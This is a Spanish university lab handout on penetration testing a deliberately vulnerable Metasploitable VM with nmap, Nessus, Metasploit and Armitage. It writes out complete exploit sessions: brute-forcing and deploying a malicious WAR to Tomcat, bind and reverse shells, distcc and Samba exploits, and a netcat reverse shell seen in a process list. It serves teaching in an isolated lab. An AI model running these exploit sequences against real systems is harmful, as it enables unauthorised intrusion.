Está en la página 1de 14

Pentesting con Metasploit

ESEI Dojos 2011/12 1 de febrero de 2012

Indice
1. Entorno de pruebas 1.1. Software de virtualizacin VirtualBOX . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . o 1.2. Imgenes a utilizar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . a 1.3. Establecer el entorno virtualizado . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2. Ejercicio 1: Enumeracin de equipos y servicios y deteccin de vulnerabilidades o o 2.1. Descripcin . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . o 2.2. Enumeracin con NMAP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . o 2.3. Escaneo de vulnerabilidades con NESSUS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3. Ejercicio 2: Explotacin de vulnerabilidades con Metasploit o 3.1. Descripcin . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . o 3.1.1. Arquitectura de Metasploit . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3.1.2. Interfaces de usuario . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3.1.3. Comandos de msfconsole . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3.2. Uso de msfconsole . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3.2.1. Carga de recursos externos: escaneos de NMAP y NESSUS (opcional) . . . . . . . . . . . . . . 3.2.2. Uso de mdulos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . o 3.2.3. Explotacin de Tomcat . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . o 3.3. Uso del interfaz grco armitage . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . a 3.3.1. Inicio y uso bsico . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . a 3.3.2. Explotar el servicio distcc (compilacin distribuida) . . . . . . . . . . . . . . . . . . . . . . . . o 3.3.3. Tarea: explotar el servicio SMB (samba) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3.3.4. Explotar una versin vulnerable de phpMyAdmin + uso de Meterpreter . . . . . . . . . . . . . o 3.3.5. Tarea: explotar la aplicacin web TikiWiki . . . . . . . . . . . . . . . . . . . . . . . . . . . . . o 4. Extra: Aplicaciones web vulnerables de entrenamiento y educativas 2 2 2 3 3 3 4 5 5 5 6 6 7 7 7 8 8 11 11 12 12 13 14 14

1.
1.1.

Entorno de pruebas
Software de virtualizacin VirtualBOX o

En estas prcticas se emplear el software de virtualizacin VirtualBOX para simular pequeas redes formadas por a a o n equipos GNU/Linux. Pgina principal: http://virtualbox.org a Ms informacin: http://es.wikipedia.org/wiki/Virtualbox a o

1.2.

Imgenes a utilizar a

Imgenes de partida a Imgenes y scripts comprimidos: DOJO PENTEST.tgz [2,1 GB] a Contenido: atacante.vdi: Imagen VirtualBox de la mquina atacante. a Es un sistema Debian 6.0 con el gestor de ventanas LXDE (Lightweight X11 Desktop Environment) [http://lxde.org/] y una serie de herramientas de seguridad instaladas.

Escner de puertos NMAP (y su interfaz grco zenmap) [http://nmap.org/]. a a Escner de vulnerabilidades NESSUS. [http://www.nessus.org/]. a Framework de pen testing Metasploit. [http://www.metasploit.com/] Escner de vulnerabilidades Web W3AF (Web Application Attack and Audit Framework ) [http://w3af.sourceforge a

Usuarios congurados. login password root purple usuario1 usuario1 usuario2 usuario2 metasploitable.vdi: Imagen VirtualBox de la mquina v a ctima. Metasploitable es un sistema Ubuntu Server 8.04 publicado por los desarrolladores de Metasploit como entorno de pruebas y aprendizaje para tests de intrusin. Cuenta con una coleccin de servicios vulnerables o o sobre los que experimentar. Para estos ejercicios se han realizado algunos aadidos. n Ms informacin: anuncio original, descarga Metasploitable a o Readme de Metasploitable: README.metasploitable Usuarios congurados. login password msfadmin msfadmin (con acceso a sudo) user user service service postgres postgres swap.vdi: Imagen VirtualBox de una unidad de disco formateada como SWAP, es compartida por ambas mquinas. a ejemplo-metasploit.sh: Script bash que congura las mquinas virtuales y las arranca. a ejemplo-metasploit.bat: Fichero BAT para MS Windows que congura las mquinas virtuales y las a arranca (pendiente).

1.3.

Establecer el entorno virtualizado

Creacin de la red donde se realizar el ejercicio: o a Red interna (192.168.100.0 ... 192.168.100.255) 1. Descomprimir las imgenes a tar xzvf DOJO_PENTEST.tgz Se crear un directorio tmp/DOJO_PENTEST/ en el directorio actual. a 2. Congurar y registrar las mquinas virtuales en VirtualBOX (slo la primera vez) a o Script de conguracin y arranque: o GNU/Linux: ejercicio-metasploit.sh MS Windows: ejercicio-metasploit.bat (pendiente)
Nota: ejecutarlos desde el directorio donde se hayan descomprimido las imgenes a

Para GNU/Linux alumno@pc38:~/.../tmp/DOJO_PENTEST$ bash ejercicio-metasploit.sh Para MS Windows ejercicio-metasploit.bat o Nota: En MS Windows puede ser necesario establecer la variable VBOX xxxxxxx con la ubicacin de la instalacin de VirtualBOX set VBOX\_xxxxx="c:\archivos de programa\virtualbox" o 3. Arrancar las instancias VirtualBOX (si no lo hacen desde el script anterior) desde el interfaz grco o desde a la l nea de comandos. VBoxManage startvm VICTIMA VBoxManage startvm METASPLOITABLE

Importante: Despus de nalizar cada ejercicio terminar la ejecucin de cada una de las mquinas virtuales e o a desde l nea de comandos con halt o sudo halt o desde el interfaz grco LXDE. a

2.

Ejercicio 1: Enumeracin de equipos y servicios y deteccin de vulo o nerabilidades


Descripcin o

2.1.

En este primer ejercicio veremos dos herramientas que pueden ser utilizadas en las etapas iniciales de un test de intrusin (exploracin y enumeracin). Se trata del escner de puertos NMAP y del escner de vulnerabilidades o o o a a NESSUS. 1. NMAP es un escaner de puertos con capacidad de identicacin de servicios y sistemas operativos, tambin posee o e funcionalidades de evasin y ocultacin del escaneo. o o http://www.nmap.org http://es.wikipedia.org/wiki/Nmap

2. NESSUS es un escaner de vulnerabilidades basado en plugins. Estos plugins realizan comprobaciones y simulan intentos de ataque tratando de aprovechar vulnerabilidades. NESSUS distribuye una coleccin de plugins o bajo registro sin coste para uso no comercial (Home Feed ) y una coleccin profesional ms actualizada bajo o a subscripcin de pago (Professional Feed ). o http://www.nessus.org http://en.wikipedia.org/wiki/Nessus (software) Nota: Aunque inicialmente NESSUS era un proyecto de cdigo abierto, en la actualidad tiene una licencia o privativa. El proyecto libre OpenVAS continu evolucionando el cdigo de antigua versin Open Source de NESSUS y o o o ofrece funcionalidades similares.

2.2.

Enumeracin con NMAP o

Desde la mquina ATACANTE a 1. Acceder como root (con password purple) y arrancar las X
atacante:~# startx

2. Abrir un terminal y lanzar un escaneo de equipos sobre la red actual (Ping Scan) para determinar que mquinas a estn conectadas en el segmento de red. a
atacante:~# nmap -sP 192.168.100.0/24

Nos informar de que hay 2 equipos en la red: la mquna ATACANTE (con direccion IP 192.168.100.111) y la a a mquina METASPLOITABLE (con direccion IP 192.168.100.222) a 3. Lanzar un escaneo de servicios sobre el equipo METASPLOITABLE
atacante:~# nmap -sX nmap.xml -O -sV 192.168.100.222

Descripcin de las opciones o -sX nmap.xml especica el nombre del chero donde se volcar la salida del escaneo en el formato XML de a NMAP -O Habilita la identicacin del Sistema Operativo de la mquina escaneada o a -sV Habilita la identicacin de los servicios a la escucha en los puertos descubiertos en la mquina escaneada o a 192.168.100.222 Direccin IP del destino del escaneo o Resultados obtenidos
aStarting Nmap 5.00 ( http://nmap.org ) at 2012-01-30 00:35 CET Interesting ports on metasploitable.ssi.net (192.168.100.222): Not shown: 988 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp ProFTPD 1.3.1 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) 23/tcp open telnet Linux telnetd 25/tcp open smtp Exim smtpd 4.69 53/tcp open domain ISC BIND 9.4.2 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.10 with Suhosin-Patch) 139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP) 3306/tcp open mysql MySQL (Host blocked because of too many connections) 5432/tcp open postgresql PostgreSQL DB 8009/tcp open ajp13?

8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1 MAC Address: 08:00:27:22:22:22 (Cadmus Computer Systems) Device type: general purpose|remote management|firewall|WAP|broadband router Running (JUST GUESSING) : Linux 2.6.X|2.4.X (98%)...

Nota: Este tipo de escaneo con identicacin de servicios es relativamente ruidoso y fcilmente detectable por o a los rewalls o detectores de intrusiones que puedan estar instalados en la red escaneada.

2.3.

Escaneo de vulnerabilidades con NESSUS

1. Abrir en un navegador web la URL https: localhost:8834 Acceder con las credenciales Login: usuario1, Password: usuario1 AVISO: no funciona bien el botn de vuelta atrs :-( o a 2. En la seccin Policies se denen y conguran las pol o ticas de escaneo Hay creada una pol tica privada Metasploitable donde se han seleccionado una serie de plugins relacionados con los servicios identicados por NMAP. Seleccionndola y pinchando en Edit se puede revisar y modicar. a En la pestaa Plugins se pueden ver los plugins seleccionados n Se pueden seleccionar de la lista (agrupados por categor as) o emplear un ltro por su nombre o ID. Por ejemplo Filer->Name : tomcat [Reset Filter] muestra los plugins relacionados con el servidor Tomcat, estn seleccionados los relativos a la versin 5.5 a o En concreto veremos: Web Servers -> 34970 Apache Tomcat Manager Common Administrative Credentials El cdigo de los plugins est disponibles en /opt/nessus/lib/nessus/plugins o a Son scripts escritos en el lenguaje NASL (Nessus Attack Scripting Language) que realizan distintos tipos de comprobaciones (versiones de servicios, opciones/comandos disponibles, conguracin) y/o simulan un o intento de ataque que tratar de aprovechar una vulnerabilidad concreta. a
atacante:~/# less /opt/nessus/lib/nessus/plugins/tomcat_manager_common_creds.nasl

3. En la seccin Scans se denen los escaneos de vulnerabilidades y se programa su ejecucin. o o Con Add se crea un nuevo escaneo, se le asigna un nombre, se programa su incio (Run Now ), una pol tica (Metasploitable) y una lista de objetivos (192.168.100.222) y se lanza ([Launch Scan]) Una vez nalizado, aparecer su resultado en la pestaa Reports a n Se puede visualizar (Browse) y en exportar en diversos formatos (veremos que Metasploit puede importar el resultado de escaneos de vulnerabilidades en formato nessus) Ejemplos: (sobre el informe del escaneo Escaneo Metasploit ya realizado) El resultado de este escaneo ya est exportado en el chero /root/nessus_report_Escaneo_Metasploit.nessus a

Escaneo Metasploit -> High -> 8080 (High 1) -> 34970 Apache Tomcat Manager Common Administrat Informa del uso de contraseas por defecto en la herramienta web de administracin de Tomcat. n o Escaneo Metasploit -> High -> 22 (High 2) -> 32314 Debian OpenSSH/OpenSSL Package Random Nu Informa de que las claves de servidor SSH fueron generadas con una versin de openSSL sobre Deo bian/Ubuntu con un bug en el generador de nmeros aleatorios. u

3.
3.1.

Ejercicio 2: Explotacin de vulnerabilidades con Metasploit o


Descripcin o

En este segundo ejercicio veremos el uso del Framework Metasploit en tareas de explotacin de vulnerabilidades y o acceso a equipos comprometidos. 5

Metasploit es un Framework multiplataforma escrito en Ruby que abstrae las tareas t picas de una intrusin, ofreciendo o un esquema modular donde combinar e integrar distintos tipos de exploits y herramientas de acceso y control de equipos y servicios comprometidos. Incluye tambin mdulos adicionales para las fases de rastreo y enumeracin, adems de e o o a poder integrar la informacin proporcionada por otras herramientas como NMAP, NESSUS, OpenVAS, etc. o 3.1.1. Arquitectura de Metasploit

Metasploit sigue un arquitectura modular, organizada alrededor de un ncleo que estructura la aplicacin y ofrece las u o funcionalidades bsicas. a exploits Piezas de cdigo que explotan una vulnerabilidad concreta que permite un acceso no previsto. Suelen ser o espec cas del sistema operativo y de la versin concreta del servicio, aunque hay algunos exploits independientes o de la plataforma. Su uso principal es como vector para la inyeccin de un payload espec o co que ofrezca al atacante algn tipo u de acceso y/o control del equipo compometido. payloads Piezas de cdigo que permiten algn tipo de acceso o control sobre un equipo que ha sido comprometido o u mediante la explotacin de alguna vulnerabilidad. Suelen ser espec o cos del sistema operativo, aunque algunos basados en Java o lenguajes de Script son independientes de la plataforma. Uno de los payloads ms potentes que ofrece Metasploit es Meterpreter. Se trata de un payload que ofrece un a intrprete de comandos en el sistema comprometido, complementado con una serie de comandos espec e cos que soportan tareas t picas de una intrusin (recopilacin de informacin del sistema comprometidos, keylogger, o o o ocultacin de rastros, etc). o Explicacin de algunas funcionalidades de Meterpreter: comandos Meterpreter, tabla resumen [pdf] o auxiliary Mdulos auxiliares que automatizan tareas complementarias empleadas habitualmente en test de intrusin. o o Fundamentalmente se trata de diversos tipos de escners: escner de puertos genricos escneres especif a a e o a cos para aplicaciones/servicios concretos. Tambin se proveen mdulos para recopilar credenciales de acceso basados e o en diccionarios o romper contraseas, enumeradores de directorios, herramientas para recopilacin de informan o cin de red y una coleccin de fuzzers que generan cadenas de entrada aletorias con las que detectar posibles o o vulnerabilides en la validacin de entradas. o post Piezas de cdigo espec o cas de cada arquitectura o aplicacin que automatizan tareas relativas al mantenimieno to, extensin y/o ocultacin del acceso a equipos comprometidos. Fundamentalmente ofrecen funcionalidades o o para recopilar informacin del sistema comprometidos (servicios, usuarios, chero, ...), para escalar privilegios o obteniendo credenciales de administrador o para ocultar el rasto de la explotacin. o nops Mdulos complementarios usados para generar distintos tipos de cdigos NOP (No operation) para diferentes o o arquitecturas y CPUs a utilizar en el cdigo de los exploits y sus respectivos payloads. o encoders Mdulos complementarios utilizados para ofuscar y ocultar el cdigo de los exploits y sus respectivos o o payloads empleando diversos tipos de codicacin. Son un mecanismo de evasin para evitar la deteccin del o o o ataque por parte de IDS (sistemas de deteccin de intrusiones) o antivirus. o Ms informacin en http://www.metasploit.com y http://en.wikipedia.org/wiki/Metasploit Project. a o Consulta e informacin sobre los mdulos disponibles: http://metasploit.com/modules o o 3.1.2. Interfaces de usuario

Sobre el Framework Metasploit se han desarrollado distintos tipos de interfaces de usuario, bien como parte del ncleo u del propio framework o como proyectos independientes. msfconsole Consola en modo texto de Metasploit, es el interfaz ms usado y ofrece acceso a la totalidad de funcioa nalidades del framework. msfcli Expone las funcionalidades del framework para acceder a ellas desde l nea de comandos y shell scripts. 6

msfweb Expone las funcionalidades del framework mediante un interfaz web msfrpc/msfrpcd Expone las funcionalidades del framework para acceder a ellas mediante un mecanismo de RPC (remote procedure call ) msfgui Interfaz grco basado en Java Swing. Accede a las funcionalidades del framework usando msfrpcd. a Armitage Interfaz grco basado en Java Swing. Es un proycto independiente con mejoras respecto a msfgui, mucho a ms amigable, con mejor usabilidad, con asistencia al usuario y automatizacin de determinadas tareas. Accede a o a las funcionalidades del framework usando msfrpcd. otros msfpayload/msfencode permiten crear (y codicar) payloads desde l nea de comandos. Se usa para generar cheros con payloads a desplegar/ejecutar directamente en las v ctimas. msfupdate actualiza mediante svn (subversion) los mdulos del framework a la ultima versin disponible. o o 3.1.3. Comandos de msfconsole

pendiente

3.2.

Uso de msfconsole

Desde la mquina ATACANTE: iniciar un terminal y arrancar msfconsole a


atacante:~# msfconsole

Muestra un banner e informacin de la versin del framework, ultima actualizacin y nmero de mdulos disponibles. o o o u o 3.2.1. Carga de recursos externos: escaneos de NMAP y NESSUS (opcional)

Metasploit puede congurarse para utilizar una base de datos donde guardar informacin de los equipos localizados, sus o servicios y vulnerabilidades, junto con informacin adicional como notas y eventos. Esa informacin puede generarla o o el propio Metasploit a partir de sus mdulos Auxiliary o cargarla a partir de herramientas externas. o 1. Cargar la informacin del escaneo de NMAP o
msf > db_import /root/nmap.xml

2. Cargar la informacin del escaneo de NESSUS o


msf > db_import /root/nessus_report_Escaneo_Metasploit.nessus

3. Comprobar los datos capturados.


msf > hosts msf > services msf > vulns

Se puede recuperar, editar o eliminar informacin de un host o servicio espec o co (ver hosts -h o services -h) Nota: Para el caso de NMAP, msfconsole ofrece un comando db_nmap que ejecuta NMAP con los parmetros a espec cados y automticamente carga los datos obtenidos en la BD de Metasploit, por lo que no ser necesario a a ejecutar NMAP desde fuera de msfconsole.

3.2.2.

Uso de mdulos o

1. Buscar posibles mdulos (exploits, etc) a utilizar sobre los servicios identicados en la mquina v o a ctima. Posibles exploits contra el servidor FTP ProFTPD.
msf > search proftpd

Ninguno de los exploits disponibles es apto para la versin de ProFTPD instalada. o Posibles exploits contra el servidor Apache Tomcat
msf > search tomcat

Se puede utilizar el exploit multi/http/tomcat_mgr_deploy (como ya nos mostr NESSUS este servidor o usa las contraseas por defecto) n 3.2.3. Explotacin de Tomcat o

1. Seleccionamos el exploit y vemos su descripcin y opciones. o


msf > use exploit/multi/http/tomcat_mgr_deploy msf exploit(tomcat_mgr_deploy) > info

Debemos especicar un USERNAME y un PASSWORD, podremos intentar obtenerlos con un mdulo auxiliar o que prueba un diccionario de pares usuario+clave usando feurza bruta. 2. Extraccin de credenciales Tomcat (mdulo auxiliar auxiliary/scanner/http/tomcat_mgr_login) o o
msf > use auxiliary/scanner/http/tomcat_mgr_login msf auxiliary(tomcat_mgr_login) > info

Debemos especicar la mquina objetivo (RHOSTS), el puerto (RPORT), la URI de la aplicacin de gestion de a o Tomcat (URI) y los cheros con los nombres de usuario y las contraseas a probar (USER FILE, PASS FILE). n Bastar con especicar el valor de RHOST, con el resto de parmetros se usarn los valores por defecto a a a Desde otro terminal se pueden ver/editar los diccionarios con valores para USER y PASS.
atacante:~# less /opt/metasploit-4.1.4/msf3/data/wordlists/tomcat_mgr_default_users.txt atacante:~# less /opt/metasploit-4.1.4/msf3/data/wordlists/tomcat_mgr_default_pass.txt msf auxiliary(tomcat_mgr_login) > set RHOSTS 192.168.100.222 RHOSTS => 192.168.100.222 msf auxiliary(tomcat_mgr_login) > run [*] [-] ... [*] [+] ... [*] [-] [*] [*]

192.168.100.222:8080 TOMCAT_MGR - [01/50] - Trying username:admin with password: 192.168.100.222:8080 TOMCAT_MGR - [01/50] - /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] fa

192.168.100.222:8080 TOMCAT_MGR - [16/50] - Trying username:tomcat with password:tomcat http://192.168.100.222:8080/manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] successful login t

192.168.100.222:8080 TOMCAT_MGR - [46/50] - Trying username:both with password:tomcat 192.168.100.222:8080 TOMCAT_MGR - [46/50] - /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] fa Scanned 1 of 1 hosts (100% complete) Auxiliary module execution completed

Nos informa que se puede acceder a la web de administracin de Tomcat con las credenciales tomcat/tomcat o 3. Conguracin y uso del exploit exploit/multi/http/tomcat_mgr_deploy o
msf msf auxiliary(tomcat_mgr_login) > use exploit/multi/http/tomcat_mgr_deploy exploit(tomcat_mgr_deploy) > info

Debemos especicar la mquina objetivo (RHOST), el puerto (RPORT), el path a la aplicacin de gestion de a o Tomcat (PATH) y el nombre de usuario (USERNAME) y la contrasea (PASSWORD). n
msf msf msf msf exploit(tomcat_mgr_deploy) exploit(tomcat_mgr_deploy) exploit(tomcat_mgr_deploy) exploit(tomcat_mgr_deploy) > > > > set set set set RHOST 192.168.100.222 RPORT 8080 USERNAME tomcat PASSWORD tomcat

Funcionamiento: El exploit crear un chero WAR con una aplicacin web Java maliciosa cuya unica misin a o o ser la de poner en ejecucin dentro de la mquina v a o a ctima el PAYLOAD que especiquemos. Usando la aplicacin de administracin se desplegar ese WAR en el servidor Tomcat. o o a El exploit acceder a la URL correspondiente para invocar dicho servlet y poner en ejecucin su PAYLOAD a o Finalmente, el exploit deshar el despliegue realizado. a En este ejemplo se usar el PAYLOAD java/shell/bind_tcp a Este PAYLOAD lanza un intrprete de comandos en la v e ctima (/bin/sh en este caso) y redirige su E/S a un puerto TCP de dicha v ctima. El exploit abre una sesin hacia ese puerto de la v o ctima, obtenindose una shell en el equipo comprometido e accesible desde el atacante. Nota: con set PAYLOAD <tab> se muestra la lista de PAYLOADs admitidos por el exploit actual.
msf msf exploit(tomcat_mgr_deploy) > set PAYLOAD java/shell/bind_tcp exploit(tomcat_mgr_deploy) > show options

Este PAYLOAD tiene sus propias opciones, exige que indiquemos la mquina v a ctima (RHOST) y el puerto de escucha en dicha v ctima (LPORT)
msf msf exploit(tomcat_mgr_deploy) > set LPORT 11111 exploit(tomcat_mgr_deploy) > show options

Al lanzar el exploit se abrir una sesin en la mquina v a o a ctima.


msf [*] [*] [*] [*] [*] [*] [*] [*] exploit(tomcat_mgr_deploy) > exploit Started bind handler Attempting to automatically select a target... Automatically selected target "Linux x86" Uploading 6213 bytes as nZAPfHCskfkmDVB.war ... Executing /nZAPfHCskfkmDVB/97PNxj.jsp... Undeploying nZAPfHCskfkmDVB ... Sending stage (2439 bytes) to 192.168.100.222 Command shell session 1 opened (192.168.100.111:54658 -> 192.168.100.222:11111) at 2012-01-31 02:19:45 +0100

ls -l total 76 drwxr-xr-x 2 root root 4096 2010-03-16 19:11 drwxr-xr-x 4 root root 4096 2011-12-10 10:31 ... lrwxrwxrwx 1 root root 30 2011-12-10 09:31 uname -a Linux metasploitable.ssi.net 2.6.24-30-virtual ...

bin boot vmlinuz -> boot/vmlinuz-2.6.24-30-virtual #1 SMP Mon Nov 28 20:50:52 UTC 2011 i686 GNU/Linux

En la v ctima podemos comprobar que hay un nuevo proceso /bin/sh propiedad del usuario tomcat55 y sin terminal asociado.
metasploitable:~$ ps -aux | grep sh

Podemos comprobar que la conexin est efectivamente establecida, lanzando el comando netstat -tn en ambos o a equipos.
atacante:~# netstat -tn Active Internet connections (w/o servers) Proto Recv-Q Send-Q Local Address ... tcp 0 0 192.168.100.111:43550 ... metasploitable:~$ netstat -tn Active Internet connections (w/o servers) Proto Recv-Q Send-Q Local Address tcp 0 0 192.168.100.222:11111

Foreign Address 192.168.100.222:11111

State ESTABLISHED

Foreign Address 192.168.100.111:43550

State ESTABLISHED

Nota: las sesiones se nalizan con CONTROL+C 4. Uso de un PAYLOAD alternativo Otro posible exploit ser java/shell/reverse_tcp con un comportamiento inverso a la hora de las conexiones. a En este caso ser el PAYLOAD en ejecucin en la v a o ctima quien se conectar a un puerto local de la mquina a a atacante (o de la mquina que le indiquemos). a
msf msf msf msf msf exploit(tomcat_mgr_deploy) exploit(tomcat_mgr_deploy) exploit(tomcat_mgr_deploy) exploit(tomcat_mgr_deploy) exploit(tomcat_mgr_deploy) > > > > > set PAYLOAD java/shell/reverse_tcp show options set LHOST 192.168.100.111 set LPORT 22222 exploit

Debemos especicar la direccin (LHOST) y el puerto (LPORT) a donde debe conectarse el PAYLOAD. o
atacante:~# netstat -tn Active Internet connections (w/o servers) Proto Recv-Q Send-Q Local Address ... tcp 0 0 192.168.100.111:22222 metasploitable:~$ netstat -tn Active Internet connections (w/o servers) Proto Recv-Q Send-Q Local Address tcp 0 0 192.168.100.222:57091

Foreign Address 192.168.100.222:57091

State ESTABLISHED

Foreign Address 1192.168.100.111:22222

State ESTABLISHED

5. Inspeccin del cdigo del exploit y del PAYLOAD o o Se puede ver el cdigo Ruby con la implementacin del exploit y del PAYLOAD o o
atacante:~# less /opt/metasploit-4.1.4/msf3/modules/exploits/multi/http/tomcat_mgr_deploy.rb < ver funcin exploit > o atacante:~# less /opt/metasploit-4.1.4/msf3/modules/payloads/stagers/java/bind_tcp.rb atacante:~# less /opt/metasploit-4.1.4/msf3/modules/payloads/stages/java/shell.rb atacante:~# less /opt/metasploit-4.1.4/msf3/lib/msf/core/payload/java.rb

Tambin est disponible el cdigo Java inyectado por el exploit responsable de crear el intrprete de comandos e a o e y ponerse a la escucha. (ver http://schierlm.users.sourceforge.net/JavaPayload/)
atacante:~# less /opt/metasploit-4.1.4/msf3/external/source/javapayload/src/javapayload/stage/Shell.java atacante:~# less /opt/metasploit-4.1.4/msf3/external/source/javapayload/src/metasploit/Payload.java atacante:~# less /opt/metasploit-4.1.4/msf3/external/source/javapayload/src/metasploit/PayloadServlet.java

Tamin se puede ver el aspecto que tendr un chero WAR con el PAYLOAD seleccionado (no es exactamente e a el que desplegar el exploit anterior) a
atacante:~# msfpayload java/shell/bind_tcp LPORT=33333 RHOST=192.168.100.222 W > /tmp/ejemplo.war atacante:~# cd /tmp atacante:/tmp# jar xvf ejemplo.war atacante:/tmp# less WEB-INF/web.xml atacante:/tmp# ls -l WEB-INF/classes/metasploit/*

10

3.3.

Uso del interfaz grco armitage a

Armitage es un interfaz grco alternativo para Metasploit que pretende simplicar el uso del framework. Hace uso a del servidor RPC integrado en el framework (msfrpcd) para acceder a las funcionalidades que ofrece Metasploit. Mejora el interfaz (visualizacin de hosts, acceso simplicado a los mdulos y a su informacin y opciones, etc) o o o Automatiza ciertas tareas, como el emparejamiento entre hosts y servicios y entre servicios y exploits aplicables. Simplica la conguracin de exploits y payloads. o Permite la gestin y coordinacin de multiples sesiones abiertas en las v o o citmas 3.3.1. Inicio y uso bsico a

Desde un terminal de la mquina ATACANTE, arrancar Armitage a


atacante:~# armitage &

Al inciarse la aplicacin se nos piden los datos para conectarse al servidor RPC del framework Metasploit (msfrpcd). o Si dicho servidor estuviera en ejecucin deber de especicarse los correspondientes datos. o an En caso contrario bastar con pinchar en Connect de todos modos y el propio Armitage nos pedir autorizacin a a o para arrancar una nueva instancia del servidor RPC (pinchar en yes). Nota: Mientras el servidor se inicia, Armitage puede informar de errores de conexin. o Cuando el RPC est listo se inciar por s mismo el interfaz grco. e a a En la seccin de Hosts de Armitage se muestran iconos para los equipos registrados en la base de datos de Metasploit. o En nuestro caso aparece el host que hab amos introducido anteriormente con db_import al incio del primer ejercicio. De ser necesario podr lanzarse nuevos escaneos desde Armitage [[Men Hosts] -> Import / NmapScan / etc ]) an u Vincular posibles ataques a un host v ctima Armitage ofrece la funcionalidad de cruzar la informacin sobre o servicios de un hosts con la informacin de los exploits para vincular a una mquina una lista de los potenciales o a ataques. Seleccionar el host (192.168.100.222) Sobre el men seleccionar [Men Attack] -> Find Attacks u u Armitage comprueba qu exploits son compatibles con cada uno de los servicios vinculados al host selece cionado (no va mucho ms all que comprobar nombres de servicio y versiones) a a Es frecuente que la mayor de los ataques/exploits propuestos no sean aplicables (falsos positivos) a Una vez completada la vinculacin se aade al icono del hosts un submen contextual Attacks con la lista de o n u posibles ataques. La opcin [Men Attack] -> HailMary va un paso ms all. o u a a Adems de cruzar servicios y exploits para determinales cuales podr ser usados este comando intenta exploa an tarlos. Los exploits potenciales son lanzados uno a uno usando sus opciones por defecto. En los casos donde el exploit tiene xito se crea una sesin con la v e o ctima. Nota: en la mayor de los casos las opciones por defecto que usar Hail Mary no son las adecuadas y la explotacin a a o no tendr exito. a Suele ser necesario jar opciones adecuadas y comprobar los exploit manualmente. 11

3.3.2.

Explotar el servicio distcc (compilacin distribuida) o

DistCC es un servicio que coordina la compilacin distribuida de programas (ver http://en.wikipedia.org/wiki/Distcc). o Mestasploitable incluye una versin vulnerable de este servidor. o 1. Sobre el host (192.168.100.222) seleccionar este ataque: [botn derecho] -> Attacks -> misc -> distcc_exec o 2. Se abre un dilogo donde ser muestra la descripcin del exploit (exploit/unix/misc/distcc_exec) y se permite a o congurar sus parmetros y los posibles PAYLOADS (en caso de que el exploit admita diversos tipos) a 3. Para este ejemplo los parmetros jados por Armitage son correctos. a En este caso se usar un PAYLOAD generic/shell_bind_tcp a 4. El exploit+payload se lanza con el botn [Launch] o Nota: En la consola se muestra la secuencia de acciones equivalentes en msfconsole Si el ataque tuvo xito se modica el icono del host y se aadir un un submen contextual Shell # e n a u Desde este submen (dependiendo del tipo de PAYLOAD) se podr acceder a una secin interactiva (Interact), u a o ejecutar mdulos de POST EXPLOTACION o subir archivos al equipo comprometido. o En la v ctima se puede comprobar que hay un proceso extrao en ejecucin. n o
metasploitable:~# ps -aux | less metasploitable:~# pstree -aclu | less

Hacia el nal de la lista se muestra un proceso Perl, propiedad del usaurio daemon, que ejecuta un script perl de una l nea (opcin -e one line script). o Ese script es el cdigo insertado por el exploit y lo que hace es abrir un socket hacia el puerto indicado en la o mquina atacante y ejecutar con la funcin Perl system() lo que se reciba a travs de ese socket. a o e Accediendo a la opcin Post modules del men contextual vinculado a la sesin con la v o u o citma se muestran en el a rbol izquierdo la lista de mdulos de post explotacin admitidos por el PAYLOAD actual. o o Para invocarlos basta hacer doble click sobre ellos, rellenar las opciones perminentes y lanzarlo. En cada uno de esos mdulos debemos indicar en la opcin SESSION el no de sesin ( no de shell) vinculado a o o o o la conexin obtenida por el exploit correspondiente. o Probar enum_linux, enum_services [para verlos ir a Men view -> loot], etc) u 3.3.3. Tarea: explotar el servicio SMB (samba)

Repitiendo las acciones del ejemplo anterior se puede aprovechar una vulnerabilidad en el servidor Samba de Metasploitable para ganar acceso a la mquina comprometida. a 1. Sobre el host (192.168.100.222) [botn derecho] -> Attacks -> samba -> usermap_script o 2. Se usar el exploit exploit/multi/samba/usermap_script a Si en la v ctima se comprueban los procesos en ejecucin, de nuevo saldrn cosas extraas. o a n
metasploitable:~# ps -aux | less metasploitable:~# pstree -aclu | less

En este caso veremos que el exploit a inyectado un comando de shell que haciendo uso de la herramienta nc/netcat redirecciona la E/S de un intrprete de comandos sobre un puerto de la mquina atacante. e a 12

USER root ... root ...

PID %CPU %MEM 1 0.0 1.3 4915 0.0 0.3

VSZ 2848 1776

RSS TTY 1688 ? 484 ?

STAT START Ss 19:23 S 19:49

TIME COMMAND 0:00 /sbin/init

0:00 sh -c /etc/samba/scripts/mapusers.sh "/=nohup nc 192

3.3.4.

Explotar una versin vulnerable de phpMyAdmin + uso de Meterpreter o

